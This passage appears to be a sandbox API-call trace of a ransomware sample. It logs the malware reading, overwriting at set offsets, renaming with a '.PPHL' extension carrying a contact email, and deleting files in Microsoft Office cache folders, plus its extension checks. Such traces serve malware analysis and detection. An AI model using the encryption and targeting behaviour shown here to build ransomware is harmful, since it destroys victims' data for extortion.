nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x376fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0073.738] SetEndOfFile (hFile=0x1b0) returned 1 [0073.738] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f41f88 [0073.738] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0073.738] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0073.740] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0073.740] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0073.747] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0073.747] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0073.750] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f41f88 | out: hHeap=0x5d0000) returned 1 [0073.750] CloseHandle (hObject=0x1b0) returned 1 [0073.750] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0073.750] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0073.750] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0073.750] lstrlenW (lpString=".doc") returned 4 [0073.750] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0073.750] lstrlenW (lpString=".docx") returned 5 [0073.750] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0073.750] lstrlenW (lpString=".pdf") returned 4 [0073.750] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0073.750] lstrlenW (lpString=".xls") returned 4 [0073.750] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0073.750] lstrlenW (lpString=".xlsx") returned 5 [0073.750] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0073.750] lstrlenW (lpString=".ppt") returned 4 [0073.751] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0073.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0073.751] lstrlenW (lpString=".zip") returned 4 [0073.751] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0073.751] lstrlenW (lpString=".rar") returned 4 [0073.751] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0073.751] lstrlenW (lpString=".bz2") returned 4 [0073.751] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0073.751] lstrlenW (lpString=".7z") returned 3 [0073.751] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0073.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0073.751] lstrlenW (lpString=".dbf") returned 4 [0073.751] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0073.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0073.751] lstrlenW (lpString=".1cd") returned 4 [0073.751] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0073.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0073.751] lstrlenW (lpString=".jpg") returned 4 [0073.751] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0073.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0073.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0073.751] lstrlenW (lpString=".doc") returned 4 [0073.751] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0073.751] lstrlenW (lpString=".docx") returned 5 [0073.751] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0073.751] lstrlenW (lpString=".pdf") returned 4 [0073.751] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0073.751] lstrlenW (lpString=".xls") returned 4 [0073.751] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0073.751] lstrlenW (lpString=".xlsx") returned 5 [0073.751] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0073.751] lstrlenW (lpString=".ppt") returned 4 [0073.751] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0073.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0073.751] lstrlenW (lpString=".zip") returned 4 [0073.751] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0073.752] lstrlenW (lpString=".rar") returned 4 [0073.752] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0073.752] lstrlenW (lpString=".bz2") returned 4 [0073.752] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0073.752] lstrlenW (lpString=".7z") returned 3 [0073.752] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0073.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0073.752] lstrlenW (lpString=".dbf") returned 4 [0073.752] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0073.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0073.752] lstrlenW (lpString=".1cd") returned 4 [0073.752] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0073.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0073.752] lstrlenW (lpString=".jpg") returned 4 [0073.752] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0073.752] lstrcmpiW (lpString1=".cab", lpString2=".PPHL") returned -1 [0073.752] lstrlenW (lpString="GrooveLR.cab") returned 12 [0073.752] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0073.753] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=4095519) returned 1 [0073.753] CloseHandle (hObject=0x1b0) returned 1 [0073.753] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0073.753] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.753] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0073.753] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0073.753] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0x0) returned 1 [0073.753] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0073.754] ReadFile (in: hFile=0x1b0, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0073.757] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0073.759] ReadFile (in: hFile=0x1b0, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0073.763] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0073.763] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0073.763] ReadFile (in: hFile=0x1b0, lpBuffer=0x3e70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e70058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0073.779] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.779] WriteFile (in: hFile=0x1b0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x376fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0074.094] SetEndOfFile (hFile=0x1b0) returned 1 [0074.094] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f41f88 [0074.228] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0074.228] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0074.230] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0074.230] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0074.232] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0074.232] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0074.234] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f41f88 | out: hHeap=0x5d0000) returned 1 [0074.234] CloseHandle (hObject=0x1b0) returned 1 [0074.234] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0074.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0074.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0074.235] lstrlenW (lpString=".doc") returned 4 [0074.235] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0074.235] lstrlenW (lpString=".docx") returned 5 [0074.235] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0074.235] lstrlenW (lpString=".pdf") returned 4 [0074.235] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0074.235] lstrlenW (lpString=".xls") returned 4 [0074.235] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0074.235] lstrlenW (lpString=".xlsx") returned 5 [0074.235] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0074.235] lstrlenW (lpString=".ppt") returned 4 [0074.235] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0074.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0074.235] lstrlenW (lpString=".zip") returned 4 [0074.235] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0074.235] lstrlenW (lpString=".rar") returned 4 [0074.235] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0074.235] lstrlenW (lpString=".bz2") returned 4 [0074.235] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0074.235] lstrlenW (lpString=".7z") returned 3 [0074.235] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0074.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0074.235] lstrlenW (lpString=".dbf") returned 4 [0074.235] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0074.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0074.235] lstrlenW (lpString=".1cd") returned 4 [0074.236] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0074.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0074.236] lstrlenW (lpString=".jpg") returned 4 [0074.236] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0074.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0074.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0074.236] lstrlenW (lpString=".doc") returned 4 [0074.236] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0074.236] lstrlenW (lpString=".docx") returned 5 [0074.236] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0074.236] lstrlenW (lpString=".pdf") returned 4 [0074.236] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0074.236] lstrlenW (lpString=".xls") returned 4 [0074.236] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0074.236] lstrlenW (lpString=".xlsx") returned 5 [0074.236] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0074.236] lstrlenW (lpString=".ppt") returned 4 [0074.236] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0074.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0074.236] lstrlenW (lpString=".zip") returned 4 [0074.236] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0074.236] lstrlenW (lpString=".rar") returned 4 [0074.236] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0074.236] lstrlenW (lpString=".bz2") returned 4 [0074.236] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0074.236] lstrlenW (lpString=".7z") returned 3 [0074.236] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0074.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0074.236] lstrlenW (lpString=".dbf") returned 4 [0074.236] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0074.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0074.236] lstrlenW (lpString=".1cd") returned 4 [0074.236] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0074.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0074.237] lstrlenW (lpString=".jpg") returned 4 [0074.237] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0074.237] lstrcmpiW (lpString1=".dll", lpString2=".PPHL") returned -1 [0074.237] lstrlenW (lpString="dwdcw20.dll") returned 11 [0074.237] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0074.237] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=526176) returned 1 [0074.237] CloseHandle (hObject=0x1b0) returned 1 [0074.240] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020 [0074.240] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.240] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0074.240] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.240] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.241] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.241] GetLastError () returned 0x0 [0074.241] ReadFile (in: hFile=0x1b0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x376fed4*=0x80760, lpOverlapped=0x0) returned 1 [0074.258] WriteFile (in: hFile=0x1f0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x376fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fc9c*=0x80770, lpOverlapped=0x0) returned 1 [0074.654] ReadFile (in: hFile=0x1b0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x376fed4*=0x0, lpOverlapped=0x0) returned 1 [0074.654] WriteFile (in: hFile=0x1f0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x376fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fc9c*=0xea, lpOverlapped=0x0) returned 1 [0074.654] SetEndOfFile (hFile=0x1f0) returned 1 [0074.837] CloseHandle (hObject=0x1f0) returned 1 [0074.845] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.845] SetEndOfFile (hFile=0x1b0) returned 1 [0074.881] CloseHandle (hObject=0x1b0) returned 1 [0074.881] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0074.882] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1 [0074.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0074.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0074.882] lstrlenW (lpString=".doc") returned 4 [0074.882] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0074.882] lstrlenW (lpString=".docx") returned 5 [0074.882] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0074.882] lstrlenW (lpString=".pdf") returned 4 [0074.882] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0074.882] lstrlenW (lpString=".xls") returned 4 [0074.882] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0074.882] lstrlenW (lpString=".xlsx") returned 5 [0074.882] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0074.882] lstrlenW (lpString=".ppt") returned 4 [0074.882] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0074.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0074.882] lstrlenW (lpString=".zip") returned 4 [0074.882] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0074.882] lstrlenW (lpString=".rar") returned 4 [0074.882] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0074.882] lstrlenW (lpString=".bz2") returned 4 [0074.882] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0074.883] lstrlenW (lpString=".7z") returned 3 [0074.883] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0074.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0074.883] lstrlenW (lpString=".dbf") returned 4 [0074.883] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0074.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0074.883] lstrlenW (lpString=".1cd") returned 4 [0074.883] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0074.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0074.883] lstrlenW (lpString=".jpg") returned 4 [0074.883] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0074.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0074.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0074.883] lstrlenW (lpString=".doc") returned 4 [0074.883] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0074.883] lstrlenW (lpString=".docx") returned 5 [0074.883] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0074.883] lstrlenW (lpString=".pdf") returned 4 [0074.883] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0074.883] lstrlenW (lpString=".xls") returned 4 [0074.883] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0074.883] lstrlenW (lpString=".xlsx") returned 5 [0074.883] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0074.883] lstrlenW (lpString=".ppt") returned 4 [0074.883] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0074.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0074.883] lstrlenW (lpString=".zip") returned 4 [0074.883] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0074.883] lstrlenW (lpString=".rar") returned 4 [0074.883] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0074.883] lstrlenW (lpString=".bz2") returned 4 [0074.883] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0074.883] lstrlenW (lpString=".7z") returned 3 [0074.883] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0074.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0074.883] lstrlenW (lpString=".dbf") returned 4 [0074.884] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0074.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0074.884] lstrlenW (lpString=".1cd") returned 4 [0074.884] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0074.884] lstrlenW (lpString="C:\\MSOCache\\All 